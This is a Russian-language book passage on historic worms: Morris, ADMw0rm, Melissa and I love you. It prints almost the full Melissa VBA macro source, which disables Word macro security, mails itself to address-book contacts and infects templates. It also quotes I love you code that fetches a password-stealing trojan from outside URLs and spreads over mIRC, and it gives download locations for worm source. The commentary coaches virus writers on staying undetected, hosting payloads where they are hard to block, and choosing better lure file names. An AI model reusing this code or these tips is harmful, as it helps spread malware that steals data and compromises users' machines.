Поводы для беспокойства

В прошлом было множество эпидемий вирусов и червей, и ожидается появление новых версий вредоносного кода. Чтобы разубедить тех, кто верит, что постепенно проблема решится сама собой, поговорим о некоторых современных тенденциях.

Червь Морриса

2 ноября 1988 года различные рабочие станции VAX и SUN стали жертвой первой эпидемии Интернет-червя. Этот червь, названный по фамилии своего создателя Роберта Морриса (Robert Morris), используя переполнение буфера в демоне finger, а также недокументированные команды отладки в почтовой системе sendmail, проник на компьютеры с операционной системой Berkeley UNIX. Результат деятельности данного червя впечатляет. Он подбирает зашифрованные пароли, находящиеся в файле /etc/password (в современных UNIX-системах пароли больше не хранятся в этом файле – прим. перев.), с помощью собственной версии программы crypt() (которая работает примерно в четыре раза быстрее аналогичной системной программы), оснащенной словарем из 432 слов. Затем червь сканирует систему, анализирует базу данных полномочий, используемых для обеспечения безопасности rlogin (для этого используется сканирование файлов. rhosts и hosts.equiv), и пытается атаковать систему, указанную в качестве маршрута по умолчанию в таблицах маршрутизации. Если учесть также различные способы, которые использовались, чтобы воспрепятствовать обнаружению червя, без преувеличения можно сказать, что этот первый опыт в области создания червей производит грандиозное впечатление! Настолько грандиозное, что ему посвящен отдельный документ RFC (RFC 1135).

Для самостоятельного изучения червя его код можно загрузить с сайта www.worm.net/worm-src.tar.gz.

ADMw0rm

Популярная группа хакеров ADM, творения которой в свое время создали проблемы многим пользователям, выпустила червя, использующего переполнение буфера в механизме управления запросами BIND (Berkeley Internet Name Domain – служба доменных имен в сети Internet). Копию этого червя можно бесплатно получить на официальном FTP-сайте группы ADM: ftp:// adm.freelsd.net/ADM.

К счастью для Интернета, этот червь предназначен только для компьютеров с операционной системой Linux; впрочем, вполне может найтись человек, который модифицирует его под другие платформы.

Черви Melissa и I love you

Макровирусы Melissa и I love you часто обсуждались в печатных изданиях. Ведь их воздействие было массированным и привело к огромным денежным потерям (8 млрд долл.!). Каким же образом была достигнута подобная эффективность? Тактика их распространения основывалась на знании психологии пользователей. Черви маскировались под письма от друзей и знакомых, потому что для рассылки своих копий они использовали адресную книгу жертвы. Получая письмо с известным обратным адресом, пользователь обычно испытывает определенное доверие к присланному вложению, поэтому вряд ли будет проверять его антивирусной программой.

Червь Melissa имеет достаточно простой код небольшого размера. На его примере мы покажем, насколько простыми могут быть черви:

Private Sub Document Open()On Error Resume Next

Червь Melissa инфицирует макрос Document_Open() в файлах приложения Microsoft Word. Ведь при открытии файла Word выполняется любой код, помещенный в процедуру Document_Open(). То есть для распространения червя Melissa требуется, чтобы пользователь открыл инфицированный документ, присланный по электронной почте.

If System.PrivateProfileString(“”,

“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”,

“Level”) <> “”

Then

CommandBars(“ Macro” ).Controls(“ Security...” ).Enabled = False

System.PrivateProfileString(“”,

“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”,

“Level”) = 1&

Else

CommandBars(“Tools”).Controls(“Macro”).Enabled = False

Options.ConfirmConversions = (1 – 1):

Options.VirusProtection = (1 – 1):

Options.SaveNormalPrompt = (1 – 1)

End If

В этот момент червь Melissa делает умный ход, отключая проверку безопасности макросов в Microsoft Word. В итоге конечный пользователь не получает никаких сигналов о том, что в системе что-то происходит, – это позволяет червю беспрепятственно продолжить свою работу.

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject(“Outlook.Application”)

Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”)

Аббревиатура MAPI расшифровывается как Messaging Application Programming Interface – интерфейс прикладного программирования. Этот интерфейс представляет собой основной способ взаимодействия Windows-приложений с различными функциями электронной почты. Обычно в качестве почтовой программы используется Microsoft Outlook, хотя существуют и другие возможности.

If System.PrivateProfileString(“”,

“HKEY_CURRENT_USER\Software\Microsoft\Office\”,

“Melissa?”) <> “... by Kwyjibo” Then

Червь Melissa использует механизм исключения повторного заражения. В данном случае этот механизм состоит в применении определенного ключа Registry в качестве семафора. Если ключ не задан, значит, червь Melissa еще не заразил этот компьютер, поэтому он переходит к выполнению вредоносного кода.

If UngaDasOutlook = “Outlook” Then

DasMapiName.Logon “profile”, “password”

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries(x)

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo =

AddyBook.AddressEntries.Count

Next oo

Затем Melissa проверяет, используется ли в качестве почтовой программы приложение Outlook. В случае положительного результата проверки вирус создает список первых 50 адресов, найденных в адресной книге.

BreakUmOffASlice.Subject = “Important Message From ” &

Application .UserName

BreakUmOffASlice.Body = “Here is that document you asked for

... don’t show anyone else ;-)”

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

А вот код, рассылающий сообщения по ранее найденным 50 адресам. Как легко заметить, сообщения персонифицированы, то есть в них в качестве отправителя фигурирует хозяин зараженного компьютера. Обратите внимание, что Melissa просто присоединяет себя к сообщению, используя всего одну строку. Затем следует команда отправки почты. Могли ли вы подозревать, что это происходит настолько просто?

Peep = “”

Next y

DasMapiName.Logoff

End If

System.PrivateProfileString(“”, “HKEY_CURRENT_USER\Software

\Microsoft\Office\”, “Melissa?”) = “... by Kwyjibo”

End If

Завершив отправку почты, Mel issa создает запись в Registry, чтобы гарантировать завершение рассылки сообщений. Именно эту запись ищет вирус, попав в систему.

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)

Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)

NTCL = NTI1.CodeModule.CountOfLines

ADCL = ADI1.CodeModule.CountOfLines

BGN = 2

If ADI1.Name <> “Melissa” Then

If ADCL > 0 Then

ADI1.CodeModule.DeleteLines 1, ADCL

Set ToInfect = ADI1

ADI1.Name = “Melissa”

DoAD = True

End If

If NTI1.Name <> “Melissa” Then

If NTCL > 0 Then

NTI1.CodeModule.DeleteLines 1, NTCL

Set ToInfect = NTI1

NTI1.Name = “Melissa”

DoNT = True

End If

If DoNT <> True And DoAD <> True Then GoTo CYA

Затем Melissa проверяет, инфицирован ли активный документ и его шаблон (normal.dot); в случае положительного результата проверки происходит переход к коду завершения (GoTo CYA). Если же результат отрицательный, червь заражает эти файлы:

If DoNT = True Then

Do While ADI1.CodeModule.Lines(1, 1) = “”

ADI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString (“Private Sub

Document_Close()”)

Do While ADI1.CodeModule.Lines(BGN, 1) <> “”

ToInfect.CodeModule.InsertLines BGN,

ADI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

If DoAD = True Then

Do While NTI1.CodeModule.Lines(1, 1) = “”

NTI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString (“Private Sub

Document_Open()”)

Do While NTI1.CodeModule.Lines(BGN, 1) <> “”

ToInfect.CodeModule.InsertLines BGN,

NTI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

Легко понять, как червь Melissa влияет на функцию Document_Open() активного документа. Также видно, что изменения внесены и в функцию шаблона Document_Close(). Это означает, что процесс сохранения или закрытия любого документа приведет к активизации червя.

CYA:

If NTCL <> 0 And ADCL = 0 And

(InStr(1, ActiveDocument.Name, “Document”) = False) Then

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

ElseIf (InStr(1, ActiveDocument.Name, “Document”) <> False)

Then ActiveDocument.Saved = True

End If

Действие червя заканчивается сохранением активного документа. При этом проверяется, была ли запомнена копия червя.

‘WORD/Melissa written by Kwyjibo

‘ Works in both Word 2000 and Word 97

‘ Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!

‘Word -> Email | Word 97 <—> Word 2000 ... it”s a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText “ Twentytwo

points, plus triple-word-score, plus fifty points for

using all my letters. Game’s over. I’m outta here.”

End Sub

Затем происходит вещь, которая выглядит откровенно глупо. Появляются комментарии автора червя. Почему это глупо? Потому что по этой строке можно осуществлять поиск. Если антивирусная программа увидит подобное в присоединенном к сообщению фрагменте, с большой вероятностью червь Melissa будет распознан. Несмотря на это, многие создатели вирусов оставляют свои автографы внутри кода, невзирая на то что подобный ход упрощает обнаружение их детища.

Заключительная часть кода также представляет собой не очень умный ход. Если оказывается, что на момент выполнения этого куска текущее число месяца равно текущей минуте, вирус выводит на экран сообщение. Не стоит делать подобных вещей, если вы хотите остаться незамеченными, даже с учетом того, что такие события-триггеры происходят редко.

К сожалению, код вируса I love you имеет большой объем, поэтому мы не будем приводить полный сценарий его работы. Впрочем, вас это не должно расстраивать, так как полный код можно загрузить со страницы www.packetstormsecurity.org/viral-db/love-letter-source.txt.

Интересной особенностью вируса I love you является его способность случайным образом заменять заданную в браузере пользователя домашнюю страницу одним из четырех адресов, указанных в следующем фрагменте кода:

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\

Start Page”,http://www.skyinet.net/~young1s/

HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbv

YT/WIN-BUGSFIX.exe

elseif num = 2 then

regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\

Start Page”,http://www.skyinet.net/~angelcat/

skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbm

KLJKjhkqj4w/WIN-BUGSFIX.exe

elseif num = 3 then

regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\

Start Page”,http://www.skyinet.net/~koichi/

jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WINBUGSFIX.

exe

elseif num = 4 then

regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\

Start Page”,http://www.skyinet.net/~chu/

sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjas

fdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WINBUGSFIX.

exe

end if

end if

Программа WIN-BUGSFIX.exe является Троянским конем, предназначенным для похищения чужих паролей. А все адреса находятся на сайте www.skyinet.net. Это могло помешать быстрому распространению червя, так как многие администраторы просто закрыли доступ на указанный сайт. Это, конечно, очень неприятно для www.skyinet.net, однако позволяет администраторам контролировать ситуацию. Но представим, что создатель вируса использует ссылку на одного из популярных провайдеров, создав, к примеру, пользовательскую страницу на aol.com, yahoo.com или hotmail.com. Будет ли администратор и в этом случае блокировать доступ? Скорее всего, нет.

Кроме того, если бы создатели сайта skyinet.net были умнее, они бы заменили Троянскую программу WIN-BUGSFIX.exe приложением для борьбы с I love you, которое действительно уничтожает этого червя. Таким образом, они привели бы в действие Троянского коня для Троянского коня.

Червь I love you, кроме всего прочего, вносит изменения в конфигурационные файлы приложения mIRC, которое является популярным IRC-клиентом для Windows:

if (s=“mirc32.exe”) or (s=“mlink32.exe”) or (s=“mirc.ini”)

or (s=“script.ini”) or (s=“mirc.hlp”) then

set scriptini=fso.CreateTextFile(folderspec&“\script.ini”)

scriptini.WriteLine “[script]”

scriptini.WriteLine “;mIRC Script”

scriptini.WriteLine “; Please dont edit this script... mIRC

will corrupt, if mIRC will”

scriptini.WriteLine “ corrupt... WINDOWS will affect and

will not run correctly. thanks”

scriptini.WriteLine “;”

scriptini.WriteLine “;Khaled Mardam-Bey”

scriptini.WriteLine “;http://www.mirc.com”

scriptini.WriteLine “;”

scriptini.WriteLine “n0=on 1:JOIN:#:{”

scriptini.WriteLine “n1= /if ( $nick == $me ) { halt }”

scriptini.WriteLine “n2= /.dcc send $nick

“&dirsystem&”\LOVE-LETTER-FOR-YOU.HTM”

scriptini.WriteLine “n3=}”

scriptini.close

Внесенные изменения заставляют mIRC-клиента посылать копию червя I love you всем, кто присоединяется к каналу, по которому общается пользователь зараженного компьютера. Разумеется, имя посылаемого файла должно быть достаточно соблазнительным, чтобы пользователь, присоединившийся к каналу, захотел его открыть. Думаю, что название «LOVE-LETTER-FOR-YOU.HTM» («Любовное письмо для вас») вряд ли заинтересует кого-нибудь, кроме одиноких людей, а вот заголовки «Top-10-reasons-why-irc-sucks.htm» («10 основных причин, по которым IRC вызывает отвращение») или «irc-channel-passwords.htm» («Пароли для IRC-каналов»), скорее всего, будут популярны.

Загрузка...